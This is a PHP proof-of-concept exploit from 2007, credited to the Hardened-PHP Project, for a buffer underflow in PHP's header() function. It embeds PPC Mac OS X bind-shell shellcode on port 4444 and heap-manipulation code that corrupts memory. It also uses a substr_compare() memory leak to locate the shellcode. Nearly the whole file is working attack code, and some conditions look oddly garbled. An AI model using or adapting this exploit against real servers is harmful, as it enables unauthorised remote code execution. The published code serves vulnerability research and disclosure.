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<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // proof of concept code from the hardened-php project // // (c) copyright 2007 stefan esser // // // //////////////////////////////////////////////////////////////////////// // php header() space trimming buffer underflow vulnerability // //////////////////////////////////////////////////////////////////////// // this is meant as a protection against remote file inclusion. die("remove this line"); // ppc macosx portshell on 4444 from metasploit // (16 bytes added to make it compatible with unlink exploit) $shellcode = "\x48\x00\x00\x10\x60\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00". "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa". "\x38\xa5\xf8\x4a\x3c\xc0\x28\x43\x60\xc6\x84\x76\x38\x85\x07\xee". "\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a". "\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba". "\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\x10\x23\x84\x74". "\x10\xc3\x84\x77\x10\xe3\x84\x70\x10\x43\x84\x17\x6c\x43\x84\x74". "\x54\x43\x86\x0e\x54\x3d\x9f\x0e\x60\x43\x84\x7b\x28\x41\x95\x2a". "\x28\x43\x84\x76\x54\xcb\x86\xd0\x10\xe3\x84\x66\x10\x43\x84\x1e". "\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\x43\x84\x1c". "\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\x80\x77\x0e". "\x10\x43\x84\x68\x10\xc3\x84\x66\xb8\xc2\x7b\x9e\x10\xe2\x7b\x9e". "\x10\xc2\x7b\x86\x6c\x43\x84\x74\x54\x43\x86\x0e\x54\x3d\x9f\x0e". "\x10\xe3\x84\x74\x10\x43\x84\x2c\x57\x80\x77\x0e\x54\xe7\xaf\x0e". "\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\xe6\x7b\x89\x04\x46\x7b\x89". "\x68\xc1\x7b\x93\x10\x43\x84\x34\x6c\x43\x84\x74\x54\x43\x86\x0e". "\x54\xe6\xae\x0f\x68\xc1\x7b\x8b\x54\x2b\x86\xd0\x10\x20\x84\x5e". "\xb8\x22\x7b\x8e\xb8\xe2\x7b\x8a\x10\xc2\x7b\x8e\x10\x43\x84\x4d". "\x54\x43\x80\xda\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\xa3\x84\x7e". "\x07\x21\xed\x18\x07\x20\xf7\x1e\x28\x43\x84\x76"; // offsets used for the overwrite (will be overwritten by findoffsets() $offset_1 = 0x55555555; $offset_2 = 0x66666666; findoffsets(); // comment out if you want to just test the crash // if you output anything then header() will fail //printf("using offsets %08x and %08x\n", $offset_1, $offset_2); // convert offsets into strings $addr1 = pack("l", $offset_1); $addr2 = pack("l", $offset_2); // memory alignment stuff $v1 = 1; $v2 = 2; // block that will contain the fake memory block $v1 = str_repeat("b", 0x110-0x14); // prepare fake memory header $v1[0] = chr(0); $v1[1] = chr(0); $v1[2] = chr(0); $v1[3] = chr(4); $v1[8] = $addr1[0]; $v1[9] = $addr1[1]; $v1[10] = $addr1[2]; $v1[11] = $addr1[3]; $v1[12] = $addr2[0]; $v1[13] = $addr2[1]; $v1[14] = $addr2[2]; $v1[15] = $addr2[3]; // heap alignment $v2 = str_repeat("a", 400); $v2 = str_repeat(" ", 400); // trigger overflow header($v2); unset($v2); // this function uses the substr_compare() vulnerability // to get the offsets. in a remote exploit such offsets // would get bruteforced function findoffsets() { global $offset_1, $offset_2, $shellcode; // we need to not clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofhashtable = 39; $maxlong = 0x7fffffff; // signature of a big endian hashtable of size 256 with 1 element $search = "\x00\x00\x01\x00\x00\x00\x00\xff\x00\x00\x00\x01"; $memdump = str_repeat("a", 16000); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofhashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); } // if the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<16000; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$y == 1 || $y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$y != 1 && $y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // search shellcode and hashtable and calculate memory address $pos_shellcode = strpos($memdump, $shellcode); $pos_hashtable = strpos($memdump, $search); $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("l", $addr); // fill in both offsets $offset_1 = $addr[1] + 32; $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8; } ?> |
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